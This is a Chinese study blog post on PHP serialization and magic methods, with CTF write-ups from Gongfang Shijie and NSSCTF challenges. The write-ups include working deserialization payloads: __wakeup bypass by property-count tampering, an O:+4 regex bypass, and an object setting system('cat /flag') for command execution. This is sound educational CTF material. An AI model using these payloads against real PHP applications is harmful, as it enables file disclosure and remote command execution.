当前位置: 首页 > article >正文

每日进步一点点(网安)

今日练习题目是PHP反序列化,也学习一下说明是序列化和反序列化

1.PHP序列化

序列化是指将数据结构或对象转换为可传输或可储存的格式的过程。这通常需要将数据转换为字节流或者其他编码格式,以便在不同系统和应用程序之间进行传输或存储

在PHP中,可以使用serialize()函数将对象序列化为字符串,然后进行存储或者传输

2.PHP反序列化

反序列化就是将序列化后的数据转换为原来的对象,数据结构,变量的过程

在PHP中,可以使用unserialize()函数将序列化后的字符串转化为原来的对象或数据

3.魔法函数

在PHP中,魔法函数是指的是特定的函数,名称以两个下划线开始命名的

下面是一些常见的魔法函数

__construct :类的构造函数,在对象被创建时自动调用
__destruct :类的析构函数,在对象被销毁时自动调用
__get :当调用一个不存在的属性时自动调用
__set :当给一个不存在的属性赋值时自动调用
__call : 当调用一个不存在的方法时调用
__toString : 当对象被转换为字符串时自动调用
__sleep : 当对象被序列化时自动调用
__wakeup : 当对象被反序列化时自动调用

4.例题

4.1[攻防世界——unserialize3]

看这串代码,显示出来不是一个完整的PHP代码(括号没有完全闭合)

开始分析:

__wakeup()函数,看到这个函数,就会想到反序列化,对于上述代码中的xctf类中,有一个flag变量和__wakeup函数方法,当一个xtcf对象被序列化为字符串后,再次反序列化该字符串(wakeup方法的调用),就会重建该对象(xctf)

题目没有给出序列化,则需要我们自己生成出,然后给code传参

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){       
    exit('bad requests');            
    }
}
$a= new xctf();   
echo(serialize($a));   
?>
//上述代码就可以生成xctf的序列化字符串

序列化输出结果为:O:4:"xctf":1:{s:4:"flag";s:3:"111";} 

分析可知,当把序列化结果传参时,执行到wakeup方法就会成功反序列化,则打印“bad request” ,无法得到flag

所以就得绕过这个反序列化的操作,就是不能正确的将字符串反序列化

接下来就分析一下序列化结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

O:表示被序列化的是一个对象

4:表示对象名 xctf 有4个字符

"xctf":表示对象的名称为 xctf

1:表示该对象只有一个属性

{}:表示该对象的属性列表为空

s:表示属性类型为字符串

4:表示属性名 flag 有4个字符

"flag":表示属性名为 flag

s:表示属性类型为字符串

3:表示属性值 111 有3个字符

"111":表示属性值为 111 

 这里的漏洞就是修改对象属性的个数,因为当序列化中的属性个数比实际代码中的属性个数大时,就不会执行wakeup方法,从而就可以使其报错,出flag!

改为:O:4:"xctf":2:{s:4:"flag";s:3:"111";} 

get传参:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";} 

 这道题顺利解出!

4.2[攻防世界——Web_php_unserialize]

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 

上述代码,使用了php反序列化,可以通过$var来控制unserialize()的变量,所以漏洞在反序列化这里

分析源码,可以看出,需要绕过__wakeup()方法和正则匹配,才可以高亮显示出fl4g.php文件

第一部:绕过__wakeup()方法

和上一题一样,先生成出序列化字符串,然后改变里面的属性个数,进行绕过

第二步:绕过正则匹配

就是绕过preg_match('/[oc]:\d+:/i')对照上面的序列化字符串

分析:

[oc]:表示出现字符O或者C

\d+:表示匹配一个或者多个数字(d代表数字)

/i:表示不区分大小写

绕过原理: 

1.原正则表达式期望匹配的是 o 或 c 后跟一个冒号,然后是一个或多个数字,再跟一个冒号。
2.在 O:+4: 中,虽然 + 不是一个数字,但 PHP 在处理反序列化时,对于对象长度的解析会将 + 当作数字处理。因为在序列化字符串中,对象的表示形式通常是 O:对象名称长度:对象名称。当使用 + 时,PHP 会将其解释为一个较大的正数。
同时,由于原正则表达式没有考虑 + 符号,所以 O:+4: 不会被 /[oc]:\d+:/i 匹配,从而绕过了该正则表达式的检查。

//后面的执行代码
$a=new Demo('fl4g.php');
$a=serialize($a);
$a=str_replace(':1:',':2:',$a);//绕过反序列化
$a=str_replace('O:4','O:+4',$a);//绕过正则
var_dump($a);//替换后的结果
var_dump(base64_encode($a));//输出base64编码结果

注意:这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00。

然后get传参得到flag

4.3[NSSCTF——[SWPUCTF 2022 新生赛]1z_unserialize]

可以看出这是一道序列化题目,利用__destruct()方法在销毁对象时自动调用来执行预定义函数,实现命令注入

分析代码,$a=$this->lt;$a($this->lly);这个意思就是$this->lt赋值给a,$this->lly作为参数传递给代表a的函数,就可以合并为lt(lly)

所以我们就可以通过构造一个恶意的序列化对象,将自定义的函数传递给$lt属性,然后将执行的代码传递给$lly,当对象序列化后再被反序列化,就是对象被销毁的时候,自动调用__destruct()函数,从而执行绕过操作

只需要把a变成system(),把lly变成flag或者cat即可

system(cat/flag);

进行构造代码

<?php
class lyh{
    public $url = 'NSSCTF.com';
    public $lt="system";
    public $lly="cat /flag";
 
}
 
$demo = new lyh();
echo serialize($demo);
?>


//运行结果
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

然后进行post传参,得到flag

 4.4[NSSCTF——[SWPUCTF 2022 新生赛]ez_ez_unserialize]

分析代码, 有__wakeup()方法,绕过该魔术方法即可

代码中告诉我们,flag在f111111ag.php中,所以创建对象时,把flag文件作为参数传进去

构造

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
$demo=new X('fllllllag.php');
echo(serialize($demo));
?>

生成:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

修改为:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

然后get传参得到flag

 

 4.5[NSSCTF——[SWPUCTF 2022 新生赛]ez_ez_unserialize] 

打开题目发现没有东西,然后就下意识查看源码

发现有disallow,就会想到Robots协议,就可以看看robots.txt 

robots.txt 文件是一个纯文本文件,用于告诉搜索引擎爬虫哪些 URL 可以访问,哪些不能访问。它主要用于管理爬虫流量,防止服务器被过多的请求压垮

看到有/cl45s.php直接打开,显示php代码

分析代码,可以看到,对象销毁时调用__destrcut()方法,而flag就在这个方法中,只需要满足方法中的if语句 ,就可以得到flag,但是这里面如何改admin和passwd变量的值呢?就需要构造一下,将”admin“赋值给admin,”ctf“赋值给passwd即可,然后进行创建对象,再打印序列化后的字符串

<?php
class wllm{
    public $admin="admin";
    public $passwd="ctf";

}
$demo=new wllm();
echo(serialize($demo));
?>

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

然后get传参,得到flag

 


http://www.kler.cn/a/507010.html

相关文章:

  • MySQL 事务
  • linux系统监视(centos 7)
  • ORB-SLAM2源码学习: Frame.cc: cv::Mat Frame::UnprojectStereo将某个特征点反投影到三维世界坐标系中
  • HunyuanVideo 文生视频模型实践
  • mayavi -> python 3D可视化工具Mayavi的安装
  • 宇泰串口卡驱动在Ubuntu22.04编译、安装汇总
  • Spring Boot 统一返回数据格式
  • 【2025最新版】PCL点云处理算法汇总(C++长期更新版)
  • 从零深度学习:(2)最小二乘法
  • 网安——CSS
  • [Linux]——进程(2)
  • “AI智能服务平台系统,让生活更便捷、更智能
  • list的模拟实现详解
  • 核心前端技术详解
  • Jupyter notebook中运行dos指令运行方法
  • Java进阶-在Ubuntu上部署SpringBoot应用
  • 微软开源AI Agent AutoGen 详解
  • Docker部署Spring Boot + Vue项目
  • ParcelFileDescriptor+PdfRenderer在Android渲染显示PDF文件
  • Spring Boot中使用AOP实现权限管理
  • Python 的时间处理模块 datetime 详解
  • 图论1-问题 B: 算法7-4,7-5:图的遍历——深度优先搜索
  • 博图 linucx vmware
  • css 实现自定义虚线
  • QT 通过QAxObject与本地应用程序读取Excel内容
  • 汽车故障码U100187 LIN1Communication time out 解析和处理方法